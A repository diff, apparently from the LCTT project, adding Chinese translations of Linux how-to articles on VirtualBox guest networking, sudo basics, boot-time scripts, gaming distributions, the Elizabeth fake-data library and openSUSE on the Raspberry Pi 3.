创建或修改配置文件信息如下(根据你实际的环境进行修改):
```
BOOTPROTO=static
ONBOOT=yes
IPADDR=192.168.56.10
NETWORK=192.168.56.0
NETMASK=255.255.255.0
GATEWAY=192.168.56.1
DNS=8.8.8.8 192.168.56.1
NM_CONTROLLED=no #use this file not network manager to manage interface
```
保存并退出。然后使用下面的命令重启网络服务(也可以重启系统):
```
$ sudo systemctl restart network.service
```
检查修改的配置地信息是否生效:
```
$ ip add
```
#### 在宿主机上使用 SSH 工具来管理客户机
在宿主机上使用 SSH 工具来管理你的客户机。在下面的实例中,我将使用 SSH 工具连接到 CentOS 7 服务器192.168.56.10
```
$ ssh tecmint@192.168.56.10
$ who
```
[
![Connect Guest VM using SSH](http://www.tecmint.com/wp-content/uploads/2017/02/Connect-Guest-VM-using-SSH.png)
][13]
*使用 SSH 工具连接客户机*
就写到这里吧!在这篇文章中,我们用简单易懂的方法讲述了如何在宿主机与客户机之间设置网络连接方式。请在下面的评论区跟大家分享下你的想法。
--------------------------------------------------------------------------------
作者简介:
Aaron Kili 是一名 Linux 和 F.O.S.S 爱好者,即将从事 Linux 系统管理员和网页开发工作,他日前是 TecMint 技术网站的原创作者,非常喜欢使用电脑工作,坚信分享知识是一种美德。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/network-between-guest-vm-and-host-virtualbox/
作者:[Aaron Kili][a]
译者:[rusking](https://github.com/rusking)
校对:[Bestony](https://github.com/Bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/aaronkili/
[1]:http://www.tecmint.com/install-virtualbox-on-redhat-centos-fedora/
[2]:http://www.tecmint.com/install-virtualbox-on-redhat-centos-fedora/
[3]:http://www.tecmint.com/wp-content/uploads/2017/02/Virtualbox-Preferences-Window.png
[4]:http://www.tecmint.com/wp-content/uploads/2017/02/Set-Guest-Network.png
[5]:http://www.tecmint.com/wp-content/uploads/2017/02/Virtualbox-Preferences-Window-1.png
[6]:http://www.tecmint.com/wp-content/uploads/2017/02/Host-Network-Details.png
[7]:http://www.tecmint.com/wp-content/uploads/2017/02/Set-Guest-Static-IP-Address.png
[8]:http://www.tecmint.com/wp-content/uploads/2017/02/Configure-VM-Settings.png
[9]:http://www.tecmint.com/wp-content/uploads/2017/02/Enable-Network-Adapter-for-Guest-VM.png
[10]:http://www.tecmint.com/wp-content/uploads/2017/02/Enable-Network-Adapter-for-VM.png
[11]:http://www.tecmint.com/set-add-static-ip-address-in-linux/
[12]:http://www.tecmint.com/wp-content/uploads/2017/02/Configure-Static-IP-Address-for-VM.png
[13]:http://www.tecmint.com/wp-content/uploads/2017/02/Connect-Guest-VM-using-SSH.png

View File

@ -0,0 +1,215 @@
sudo 入门指南
============================================================
你在使用 Linux 命令行时曾经得到过“拒绝访问Permission denied”的错误提示吗这可能是因为你正在尝试执行一个需要 root 权限的操作。例如,下面的截图展示了当我尝试复制一个二进制文件到一个系统目录时产生的错误。
[
![shell 的拒绝访问](https://www.howtoforge.com/images/sudo-beginners-guide/perm-denied-error.png)
][11]
那么该怎么解决这个错误?很简单,使用 `sudo` 命令。
[
![用 sudo 运行命令](https://www.howtoforge.com/images/sudo-beginners-guide/sudo-example.png)
][12]
用户运行此命令后会被提示输入他们(**自己**)的登录密码。一旦输入了正确的密码,操作将会成功执行。
毫无疑问,`sudo` 是任何在 Linux 上使用命令行的人都必须知道的命令。但是,为了更负责、更有效地使用该命令,你还是要知道一些相关(及深入)的细节。这正是我们将会在这篇文章中讨论的。
*在我们继续之前,值得提一下的是,这篇文章所提到的所有命令指示都已经在 Ubuntu 14.04 LTS 下的 4.3.11 版 Bash 下通过测试。*
### 什么是 sudo
正如你们大部分人所知道的,`sudo` 用来执行需要提升权限(通常是作为 root 用户)的命令。在这篇文章之前的简介部分已经讨论过这样的一个例子。然而,如果你想的话,你能用 `sudo` 以其它(非 root )用户运行命令。
这是由工具提供的 `-u` 命令行选项所实现的。举个例子,如下例所展示的那样,我(`himanshu`)尝试将一个在其他用户(`howtoforge`)的 Home 目录中的文件重命名,但是得到一个“访问拒绝”的错误。然后我加上 `sudo -u howtoforge` 后用同样的“mv”命令命令成功执行了
[
![什么是 sudo](https://www.howtoforge.com/images/sudo-beginners-guide/sudo-switch-user.png)
][13]
### 任何人都能用 sudo 吗?
不是。一个用户要能使用 `sudo` ,应该在 `/etc/sudoers` 文件里有一条跟该用户相关的信息。下述摘自 Ubuntu 网站的一段能讲得更清楚:
> `/etc/sudoers` 文件控制了谁能以哪个用户的身份在哪个机器上运行什么命令,还可以控制特别的情况,例如对于特定的命令是否需要输入密码。这个文件由<ruby>别名<rt>aliases</rt></ruby>(基本变量)和<ruby>用户标识<rt>user specifications</rt></ruby>(控制谁能运行什么命令)组成。
如果你正在使用 Ubuntu让一个用户能运行 `sudo` 命令很容易:你所需要做的就是把账户类型改成<ruby>管理员<rt>administrator</rt></ruby>。这可直接在 <ruby>系统设置<rt>System Settings</rt></ruby> -> <ruby>用户账户<rt> User Accounts</rt></ruby>里完成。
[
![sudo 用户](https://www.howtoforge.com/images/sudo-beginners-guide/sudo-user-accounts.png)
][14]
首先解锁该窗口:
[
![unlocking window](https://www.howtoforge.com/images/sudo-beginners-guide/sudo-user-unlock.png)
][15]
然后选择你想改变用户类型的用户,然后将类型改成<ruby>管理员<rt>administrator</rt></ruby>
[
![choose sudo accounts](https://www.howtoforge.com/images/sudo-beginners-guide/sudo-admin-account.png)
][16]
然而,如果你不使用 Ubuntu或者你的发行版没有提供这个特性你可以手动编辑 `/etc/sudoers` 文件来实现此改变。要在文件中添加这样的一行:
```
[user] ALL=(ALL:ALL) ALL
```
无需赘言,`[user]` 应该用你想提升 sudo 权限的用户的用户名所代替。在这里值得提到的一件重要的事情是,官方建议通过 `visudo` 命令编辑该文件 —— 你需要做的就是运行下述命令:
```
sudo visudo
```
为了说清究竟是怎么一回事,这里有段从 `visudo` 手册里的摘要:
> `visudo` 以安全的模式编辑 `sudoers` 文件。`visudo` 锁定 `sudoers` 文件以防多个编辑同时进行提供基本的检查sanity checks和语法错误检查。如果 `sudoers` 文件现在正在被编辑,你将会收到一个信息提示稍后再试。
关于 visudo 的更多信息,前往[这里][17]。
### 什么是 sudo 会话
如果你经常使用 `sudo` 命令,你肯定注意到过当你成功输入一次密码后,可以不用输入密码再运行几次 `sudo` 命令。但是一段时间后,`sudo` 命令会再次要求你的密码。
这种现象跟运行 `sudo` 命令数目无关,跟时间有关。是的,`sudo` 默认在输入一次密码后 15 分钟内不会再次要求密码。15 分钟后,你会再次被要求输入密码。
然而,如果你想的话,你能改变这种现象。用以下命令打开 `/etc/sudoers` 文件:
```
sudo visudo
```
找到这一行:
```
Defaults env_reset
```
[
![env_reset](https://www.howtoforge.com/images/sudo-beginners-guide/sudo-session-time-default.png)
][18]
然后在这行最后添加以下变量:
```
Defaults env_reset,timestamp_timeout=[new-value]
```
`[new-value]` 为想要 `sudo` 会话持续的时间数。例如,设数值为 40。
[
![sudo timeout value](https://www.howtoforge.com/images/sudo-beginners-guide/sudo-session-timeout.png)
][19]
如果你希望每次使用 `sudo` 命令时都要求输入密码,你可以把这个变量赋值为 0 。想要 `sudo` 会话永远不过时,应赋值为 -1。
注意将 `timestamp_timeout` 的值赋为 “-1” 是强烈不推荐的。
### sudo 密码
你可能注意过,当 `sudo` 要求输入密码然后你开始输入时,不会显示任何东西 —— 甚至连常规的星号都没有。虽然这不是什么大问题,不过一些用户就是希望显示星号。
好消息是那有可能也很容易做到。所有你需要做的就是在 `/etc/sudoers` 文件里将下述的行:
```
Defaults env_reset
```
改成
```
Defaults env_reset,pwfeedback
```
然后保存文件。
现在,无论什么时候输入 `sudo` 密码,星号都会显示。
[
![hide the sudo password](https://www.howtoforge.com/images/sudo-beginners-guide/sudo-password.png)
][20]
### 一些重要的 sudo 命令行参数
除了 `-u` 命令行参数(我们已经在这篇教程的开始部分讨论过了),还有其他重要的 `sudo` 命令行参数值得注意。在这部分,我们将会讨论其中一些。
#### -k 参数
考虑下这种情况:输入密码后你刚刚运行了几个 `sudo` 驱动的命令。现在如你所知sudo 会话默认保持 15 分钟。假设在这会话期间,你需要让某些人访问你的终端,但你不想让他们可以使用 `sudo` ,你将会怎么做?
还好,有 `-k` 命令行参数允许用户取消 `sudo` 权限。这是 `sudo` 帮助页面man page对此的解释
> `-k`, `--reset-timestamp`
> 不带任何命令使用时,撤销用户缓存的凭据。换句话讲,下一次使用 `sudo` 将会要求输入密码。使用这个参数不需要密码,也可以放到一个 `.logout` 文件中来撤销 sudo 权限。
> 当与一个命令,或者一个可能需要密码的操作一起用时,这个参数将会导致 `sudo` 忽略用户缓存的凭据。结果是 `sudo` 要求输入密码(如果这是被安全策略所要求的),而且不会更新用户缓存的凭据。
#### -s 参数
有时你的工作要求你运行一堆需要 root 权限的命令,你不想每次都输入密码。你也不想通过改变 `/etc/sudoers` 文件调整 `sudo` 会话的过期时限。
这种情况下,你可以用 `sudo``-s` 参数。这是 `sudo` 帮助页面man page对此的解释
> `-s`, `--shell`
> 如果设置了 SHELL 环境变量或者调用用户的密码数据库指定了 shell就运行该 shell 。如果指定了命令,命令将会通过 shell 的 `-c` 参数将命令传递给该 shell 执行。如果没有指定命令,会执行一个交互式 shell。
所以,基本上这命令参数做的是:
* 启动一个新的 shell - 至于是哪一个 shell参照 SHELL 环境变量赋值。如果 `$SHELL` 是空的,将会用 `/etc/passwd` 中定义的 shell。
* 如果你用 `-s` 参数传递了一个命令名(例如 `sudo -s whoami`),实际执行的是 `sudo /bin/bash -c whoami`
* 如果你没有尝试执行其他命令(也就是说,你只是要运行 `sudo -s`),你将会得到一个有 root 权限的交互式的 shell。
请记住,`-s` 命令行参数给你一个有 root 权限的 shell但那不是 root 环境 —— 还是执行的你自己的 `.bashrc` 。例如,在 `sudo -s` 运行的新 shell 里,执行 `whoami` 命令仍会返回你的用户名,而非 root 。
#### -i 参数
`-i` 参数跟我们讨论过的 `-s` 参数相像。然而,还是有点区别。一个重要的区别是 `-i` 给你的是 root 环境,意味着你的(用户的)`.bashrc` 被忽略。这就像没有显式地用 root 登录也能成为 root 。此外,你也不用输入 root 用户密码。
**重要**:请注意 `su` 命令也能让你切换用户(默认切换到 root )。这个命令需要你输入 root 密码。为了避免这一点,你可以使用 `sudo` 执行它(`sudo su`),这样你只需要输入你的登录密码。然而,`su` 和 `sudo su` 有隐含的区别 —— 要了解它们,以及它们和 `sudo -i` 的区别,请看[这里][10] 。
### 总结
我希望现在你至少知道了 `sudo` 的基本知识,以及如何调整 `sudo` 的默认行为。请按我们解释过的那样去尝试调整 `/etc/sudoers` 。同时也浏览一下论坛讨论来更深入了解 `sudo` 命令。
--------------------------------------------------------------------------------
via: https://www.howtoforge.com/tutorial/sudo-beginners-guide/
作者:[Himanshu Arora][a]
译者:[ypingcn](https://ypingcn.github.io/wiki/lctt)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/
[1]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/#the-k-option
[2]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/#the-s-option
[3]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/#the-i-option
[4]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/#what-is-sudo
[5]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/#can-any-user-use-sudo
[6]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/#what-is-a-sudo-session
[7]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/#the-sudo-password
[8]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/#some-important-sudo-command-line-options
[9]: https://www.howtoforge.com/tutorial/sudo-beginners-guide/#conclusion
[10]: http://unix.stackexchange.com/questions/98531/difference-between-sudo-i-and-sudo-su
[11]: https://www.howtoforge.com/images/sudo-beginners-guide/big/perm-denied-error.png
[12]: https://www.howtoforge.com/images/sudo-beginners-guide/big/sudo-example.png
[13]: https://www.howtoforge.com/images/sudo-beginners-guide/big/sudo-switch-user.png
[14]: https://www.howtoforge.com/images/sudo-beginners-guide/big/sudo-user-accounts.png
[15]: https://www.howtoforge.com/images/sudo-beginners-guide/big/sudo-user-unlock.png
[16]: https://www.howtoforge.com/images/sudo-beginners-guide/big/sudo-admin-account.png
[17]: https://www.sudo.ws/man/1.8.17/visudo.man.html
[18]: https://www.howtoforge.com/images/sudo-beginners-guide/big/sudo-session-time-default.png
[19]: https://www.howtoforge.com/images/sudo-beginners-guide/big/sudo-session-timeout.png
[20]: https://www.howtoforge.com/images/sudo-beginners-guide/big/sudo-password.png

View File

@ -0,0 +1,103 @@
如何在 Linux 启动时自动执行命令或脚本
============================================================
我一直很好奇,在[启动 Linux 系统并登录][1]的过程中到底发生了什么事情。按下开机键或启动一个虚拟机,你就启动了一系列事件,之后会进入到一个功能完备的系统中,有时,这个过程不到一分钟。当你注销或者关机时,也是这样。
更有意思的是,在系统启动以及用户登录或注销时,还可以让系统执行特定的操作。
本文,我们将探讨一下在 Linux 操作系统中实现这些目标的传统方法。
**注意**:我们假定使用的是 **Bash** 作为登录及注销的主 Shell。如果你使用的是其他 Shell那么有些方法可能会无效。如果有其他的疑问请参考对应的 Shell 文档。
### 在启动时执行 Linux 脚本
有两种传统的方法可以实现在启动时执行命令或脚本:
#### 方法 #1 - 使用 cron 任务
除了常用格式(分 / 时 / 日 / 月 / 周)外,[cron 调度器][2]还支持 `@reboot` 指令。这个指令后面的参数是脚本(启动时要执行的那个脚本)的绝对路径。
然而,这种方法需要注意两点:
* a) cron 守护进程必须处于运行状态(通常情况下都会运行),同时
* b) 脚本或 crontab 文件必须包含需要的环境变量(如果有的话,参考 StackOverflow 获取更多详细内容)。
#### 方法 #2 - 使用 /etc/rc.d/rc.local
这个方法对于 systemd-based 发行版 Linux 同样有效。不过,使用这个方法,需要授予 `/etc/rc.d/rc.local` 文件执行权限:
```
# chmod +x /etc/rc.d/rc.local
```
然后在这个文件底部添加脚本。
下图说明如何分别使用 cron 任务和 rc.local 运行两个示例脚本(`/home/gacanepa/script1.sh` 和 `/home/gacanepa/script2.sh`)。
script1.sh
```
#!/bin/bash
DATE=$(date +'%F %H:%M:%S')
DIR=/home/gacanepa
echo "Current date and time: $DATE" > $DIR/file1.txt
```
script2.sh
```
#!/bin/bash
SITE="Tecmint.com"
DIR=/home/gacanepa
echo "$SITE rocks... add us to your bookmarks." > $DIR/file2.txt
```
[
![启动时执行 Linux 脚本](http://www.tecmint.com/wp-content/uploads/2017/02/Run-Linux-Commands-at-Startup.png)
][3]
*启动时执行 Linux 脚本 *
记住,一定要提前给两个示例脚本授予执行权限:
```
$ chmod +x /home/gacanepa/script1.sh
$ chmod +x /home/gacanepa/script2.sh
```
### 在登录或注销时执行 Linux 脚本
要在登录或注销时执行脚本,分别需要使用 `~.bash_profile``~.bash_logout` 文件。多数情况下,后者需要手动创建。在每个文件的底部,添加调用脚本代码,如前面例中所示,就可以实现这个功能。
### 总结
本文主要介绍如何在启动、登录以及注销系统时执行脚本。如果你有其他的方法可以补充,请使用下面的评论表给我们指出,我们期待您的回应!
--------------------------------------------------------------------------------
作者简介:
Gabriel Cánepa 是 GNU/Linux 系统管理员, 阿根廷圣路易斯 Villa Mercedes 的 web 开发人员。他为一家国际大型消费品公司工作,在日常工作中使用 FOSS 工具以提高生产力,并从中获得极大乐趣。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/auto-execute-linux-scripts-during-reboot-or-startup/
作者:[Gabriel Cánepa][a]
译者:[zhb127](https://github.com/zhb127)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/gacanepa/
[00]:https://twitter.com/ravisaive
[01]:https://www.facebook.com/ravi.saive
[02]:https://plus.google.com/u/0/+RaviSaive
[1]:http://www.tecmint.com/linux-boot-process/
[2]:http://www.tecmint.com/11-cron-scheduling-task-examples-in-linux/
[3]:http://www.tecmint.com/wp-content/uploads/2017/02/Run-Linux-Commands-at-Startup.png
[4]:http://www.tecmint.com/author/gacanepa/
[5]:http://www.tecmint.com/10-useful-free-linux-ebooks-for-newbies-and-administrators/
[6]:http://www.tecmint.com/free-linux-shell-scripting-books/

View File

@ -0,0 +1,46 @@
哪个 Linux 系统最适合玩游戏?
============================================================
> 告诉我们哪个 Linux 发型版对游戏支持的最好
在过去几个月中,出于游戏目的,我们尝试了多种 GNU/Linux 发行版,我们得出的结论是没有专为 Linux 游戏设计的完美的操作系统。
我们都知道,游戏世界分成 Nvidia 和 AMD 两个阵营。现在,如果你使用的是 Nvidia 显卡,即使是五年前的一块显卡,也可以在大多数基于 Linux 的操作系统上使用,因为 Nvidia 差不多为其所有的 GPU 都提供了最新的视频驱动程序。
当然,这意味着如果你有一块 Nvidia GPU在大多数 GNU/Linux 发行版上你不会有什么大问题。至少与游戏中的图形或其他性能问题无关,这种问题将严重影响你的游戏体验。
### AMD Radeon 用户最好的游戏发行版
如果你使用 AMD Radeon GPU事情会是完全不同的。我们都知道AMD 的专有显卡驱动程序仍然需要大量的工作来兼容最新的 GNU/Linux 发行版本。所有的 AMD GPU ,即便是在最新的 X.Org 服务端和 Linux 内核版本上都是这样。
目前AMDGPU-PRO 视频驱动程序只能在 Ubuntu 16.04 LTS、CentOS 6.8/7.3、Red Hat Enterprise Linux 6.8/7.3、SUSE Linux Enterprise Desktop 和 Server 12 SP2 上运行。除了 Ubuntu 16.04 LTS 之外,我们不知道为什么 AMD 为所有这些面向服务器和企业级的操作系统提供支持。
我们不相信有 Linux 玩家会在这些系统上面玩游戏。[最新的 AMDGPU-PRO 更新][1]终于支持了 HD 7xxx 和 8xxx 系列的 AMD Radeon GPU但是如果我们不想使用 Ubuntu 16.04 LTS 呢?
另外,我们有 Mesa 3D 图形库这在大多数发行版上都有。Mesa 图形栈为我们的 AMD GPU 提供了功能强大的开源 Radeon 和 AMDGPU 驱动程序,但是为了享受最好的游戏体验,你还需要拥有最新的 X.Org 服务端和 Linux 内核。
并不是所有的 Linux 操作系统都附带最新的 Mesa13.0、X.Org 服务端1.19)和 Linux 内核4.9)版本,它们支持较旧的 AMD GPU。有些系统只有其中一两种技术但我们这些都需要而且内核需要编译进 AMD Radeon Southern Islands 和 Sea Island 驱动来支持 AMDGPU。
我们发现整个情况相当令人沮丧,至少对于一些使用 AMD Radeon 老式显卡的玩家来说是这样的。现在,我们发现,使用 AMD Radeon HD 8xxx GPU 的最佳游戏体验只能通过使用 Git 获取到的 Mesa 17 以及 Linux 内核 4.10 RC 来实现。
所以我们现在请求你 - 如果你找到了玩游戏的完美的 GNU/Linux 发行版,无论你使用的是 AMD Radeon 还是 Nvidia GPU但我们最感兴趣的是那些使用 AMD GPU 的玩家,请告知我们你使用的是什么发行版,设置是什么,能不能玩最新的游戏,或者有无体验问题。谢谢!
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/the-best-operating-system-for-linux-gaming-which-one-do-you-use-and-why-512861.shtml
作者:[Marius Nestor][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://news.softpedia.com/editors/browse/marius-nestor
[1]:http://news.softpedia.com/news/amdgpu-pro-16-60-linux-driver-finally-adds-amd-radeon-hd-7xxx-8xxx-support-512280.shtml
[2]:http://news.softpedia.com/editors/browse/marius-nestor
[3]:http://news.softpedia.com/news/the-best-operating-system-for-linux-gaming-which-one-do-you-use-and-why-512861.shtml#
[4]:https://share.flipboard.com/bookmarklet/popout?v=2&title=The+Best+Operating+System+for+Linux+Gaming%3A+Which+One+Do+You+Use+and+Why%3F&url=http%3A%2F%2Fnews.softpedia.com%2Fnews%2Fthe-best-operating-system-for-linux-gaming-which-one-do-you-use-and-why-512861.shtml&t=1487038258&utm_campaign=widgets&utm_medium=web&utm_source=flipit&utm_content=news.softpedia.com
[5]:http://news.softpedia.com/news/the-best-operating-system-for-linux-gaming-which-one-do-you-use-and-why-512861.shtml#
[6]:http://twitter.com/intent/tweet?related=softpedia&via=mariusnestor&text=The+Best+Operating+System+for+Linux+Gaming%3A+Which+One+Do+You+Use+and+Why%3F&url=http%3A%2F%2Fnews.softpedia.com%2Fnews%2Fthe-best-operating-system-for-linux-gaming-which-one-do-you-use-and-why-512861.shtml
[7]:https://plus.google.com/share?url=http://news.softpedia.com/news/the-best-operating-system-for-linux-gaming-which-one-do-you-use-and-why-512861.shtml
[8]:https://twitter.com/intent/follow?screen_name=mariusnestor

View File

@ -0,0 +1,94 @@
使用 Elizabeth 为应用生成随机样本数据
============================================================
![Generate random data for your applications with Elizabeth](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/osdc_520x292_opendata_0613mm.png?itok=mzC0Tb28 "Generate random data for your applications with Elizabeth")
图片提供 : Opensource.com
> Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim. Donec pede justo, fringilla vel, aliquet nec, vulputate eget, arcu. 
不,我的文章没有被 [Lorem ipsum][2] 生成器劫持LCTT 译注Lorem ipsum中文又称“乱数假文”只是一段用来测试排版效果的占位文字没有实际的含义。作为本月的 NooksCrannies 专栏文章,我发现了一个有趣的小 Python 库,以帮助开发人员为其应用程序生成随机数据。它被称为 [Elizabeth][3]。
它由 Líkið Geimfari 编写,并在 MIT 许可证下发行Elizabeth 以 21 个不同本地化信息提供了 18 种数据提供器可用于生成随机信息LCTT 译注:不仅是随机数),包括姓名和个人特征、地址、文本数据、交通信息、网络和 Internet 社交媒体数据、数字等等。安装它需要 [Python 3.2][4] 或更高版本,您可以使用 `pip` 或从 `git` 仓库安装它。
在我的测试机上,我在一个全新安装的 [Debian][5] Jessie 上使用 pip 来安装它,要做的就是 `apt-get install python3-pip`,它将安装 Python 和所需的依赖项。然后 `pip install elizabeth`,之后就安装好了。
只是为好玩,让我们在 Python 的交互式解释器中为一个人生成一些随机数据:
```
>>> from elizabeth import Personal
>>> p=Personal('en')
>>> p.full_name(gender="male")
'Elvis Herring'
>>> p.blood_type()
'B+'
>>> p.credit_card_expiration_date()
'09/17'
>>> p.email(gender='male')
'jessie7517@gmail.com'
>>> p.favorite_music_genre()
'Ambient'
>>> p.identifier(mask='13064########')
'1306420450944'
>>> p.sexual_orientation()
'Heterosexual'
>>> p.work_experience()
39
>>> p.occupation()
'Senior System Designer'
>>>
```
在代码中使用它就像创建一个对象那样,然后调用要你需要填充数据的对应方法。
Elizabeth 内置了 18 种不同的生成工具,添加新的生成器并不困难;你只需要定义从 JSON 值集合中获取数据的例程。以下是一些随机文本字符串生成,再次打开解释器:
```
>>> from elizabeth import Text
>>> t=Text('en')
>>> t.swear_word()
'Rat-fink'
>>> t.quote()
'Let them eat cake.'
>>> t.words(quantity=20)
['securities', 'keeps', 'accessibility', 'barbara', 'represent', 'hentai', 'flower', 'keys', 'rpm', 'queen', 'kingdom', 'posted', 'wearing', 'attend', 'stack', 'interface', 'quite', 'elementary', 'broadcast', 'holland']
>>> t.sentence()
'She spent her earliest years reading classic literature, and writing poetry.'
```
使用 Elizabeth 填充 [SQLite][6] 或其它你可能需要用于开发或测试的数据库并不困难。其介绍文档给出了使用 [Flask][7] 这个轻量级 web 框架的一个医疗应用程序示例。
我对 Elizabeth 印象很深刻 - 它超快、轻量级、易于扩展,它的社区虽然小,但是很活跃。截至本文写作时,项目已有 25 名贡献者并且提交的问题处理迅速。Elizabeth 的[完整文档][8]至少对于美国英语而言易于阅读和遵循,并提供了广泛的 API 参考。
我曾尝试通过修改链接来查找该文档是否有其他语言,但没有成功。因为其 API 在非英语区域中是不同的,所以记录这些变化将对用户非常有帮助。公平地说,通过阅读其代码并找出可用的方法并不难,即使你的 Python 功力并不深厚。对我来说,另一个明显的缺陷是缺乏阿拉伯语或希伯来语区域测试数据。这些是著名的从右到左的语言,对于试图使其应用程序国际化的开发者来说,适当地处理这些语言是一个主要的障碍。像 Elizabeth 这种在此方面可以协助的工具是值得拥有的。
对于那些在应用中需要随机样本数据的开发员而言Elizabeth 是一个有价值的工具,而对于那些试图创建真正多语言、本地化应用程序的开发者来说,它可能是一个宝藏。
--------------------------------------------------------------------------------
作者简介:
D Ruth Bavousett - D Ruth Bavousett 作为一名系统管理员和软件开发人员已经很长时间了,她的专业生涯开始于 VAX 11/780。在她的职业生涯迄今为止她在解决图书馆需求上有大量的经验她自 2008 年以来一直是 Koha 开源图书馆自动化套件的贡献者。Ruth 目前在休斯敦的 cPanel 任 Perl 开发人员,她也作为首席员工效力于双猫公司。
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/2/elizabeth-python-library
作者:[D Ruth Bavousett][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/druthb
[1]:https://opensource.com/article/17/2/elizabeth-python-library?rate=kuXZVuHCdEv_hrxRnK1YQctlsTJeFJLcVx3Nf2VIW38
[2]:https://en.wikipedia.org/wiki/Lorem_ipsum
[3]:https://github.com/lk-geimfari/elizabeth
[4]:https://www.python.org/
[5]:https://www.debian.org/
[6]:https://sqlite.org/
[7]:https://flask.pocoo.org/
[8]:http://elizabeth.readthedocs.io/en/latest/index.html
[9]:https://opensource.com/user/36051/feed
[10]:https://opensource.com/article/17/2/elizabeth-python-library#comments
[11]:https://opensource.com/users/druthb

View File

@ -0,0 +1,87 @@
在树莓派 3 上运行 openSUSE简单几步搭建一个实用系统
=================
本文由 SUSE 文档团队的技术作者 Dmitri Popov 撰写。
在[树莓派 3][3]上部署 [openSUSE][2] 系统不是很复杂,不过这儿有一些小技巧教你更好地完成这个过程。
首先,你将会有一些版本可供选择。如果你打算使用树莓派 3 作为一个普通主机,那么带有图形界面的 openSUSE 将是你最好的选择。有几种不同的图形环境可供选择:[X11][4]、[Enlightenment][5]、[Xfce][6] 或是 [LXQT][7]。openSUSE 还有一个 JeOS 版本能够提供最基础的系统,可以把树莓派 3 作为一个无显示器的服务器使用。更好的选择还有 openSUSE 的 [Leap][8] 或 [Tumbleweed][9] 版本。
![](https://www.suse.com/communities/blog/files/2017/02/j5dkkbtepng-dmitri-popov-450x300.jpg)
首先你需要从 [https://en.opensuse.org/HCL:Raspberry_Pi3][10] 下载所需的 openSUSE 镜像,然后制作一张可启动的 microSD 卡。虽然可以使用命令行工具将下载好的镜像写入 microSD 卡,但 [Etcher][11] 可以使这个过程更轻松安全。从该项目网站上获取该程序,解压下载的 .zip 文件,并使用以下命令把得到的 .AppImage 文件设置为可执行:
```
chmod +x Etcher-x.x.x-linux-x64.AppImage
```
将 microSD 卡插入电脑,双击运行 Etcher 软件,选择下载好的 .raw.xz 镜像文件,点击 **Flash!** 按钮。然后将显示器和键盘连接到树莓派 3插入 microSD 卡启动树莓派。第一次启动时openSUSE 会自动扩展文件系统以充分利用 microSD 卡上的剩余空间。这时你将看到以下信息:
```
GPT data structures destroyed! You may now partition the disk using fdisk or other utilities
GPT 数据结构被破坏!您需要使用 fdisk 或其它工具对磁盘分区。
```
不用担心稍等两分钟openSUSE 将继续正常启动。当看到提示时,输入默认用户名 `root` 和默认密码 `linux` 登录系统。
如果你选择在树莓派 3 上部署 JeOS 版本,第一次启动时你不会看到屏幕上有任何输出。也就是说,屏幕会一直保持空白,直到系统完成对文件系统的扩展。你可以通过配置内核参数来显示输出,不过没有必要做这麻烦事。只需稍等片刻,你就能看到命令行提示。
由于 openSUSE 已经启用并且配置了 SSH 服务,所以启动树莓派时你可以不用显示器。这样的话,你就需要使用网卡接口将树莓派连接到网络中。给树莓派足够的时间来启动和扩展系统后,你就能够从同一网络中的其他主机,使用 `ssh root@linux.local` 命令,通过 SSH 服务连接树莓派。
默认情况下你将以 `root` 用户登录系统,所以创建一个普通用户是个不错的主意。你可以使用 YaST 配置工具轻松完成这件事。运行 `yast2` 命令,选择 <ruby>**安全与用户**<rt>Security and Users</rt></ruby> -> **<ruby>用户与用户组管理<rt>User and Group Management</rt></ruby>** 选项,就可以创建新用户了。你还可以选择 **<ruby>系统<rt>System</rt></ruby>** -> **<ruby>在线升级<rt>Online Update</rt></ruby>**选项来更新系统。完成之后,退出 YaST ,重启树莓派,然后使用新创建的用户登录系统。
一切搞定,不过还有一个重要的系统组件不能正常工作,那就是无线接口。当然,这个问题也可以轻松解决。首先使用以下命令安装 nano 文本编辑器:
```
sudo zypper in nano
```
然后运行以下命令修改 `raspberrypi_modules.conf` 文件:
```
sudo nano/etc/dracut.conf.d/raspberrypi_modules.conf
```
删除文件第一行的 `sdhci_iproc` ,再取消最后一行的注释。运行以下命令保存修改:
```
mkinitrd -f
```
最后,重启树莓派。
![](https://www.suse.com/communities/blog/files/2017/02/figure1-raspi-450x329.png)
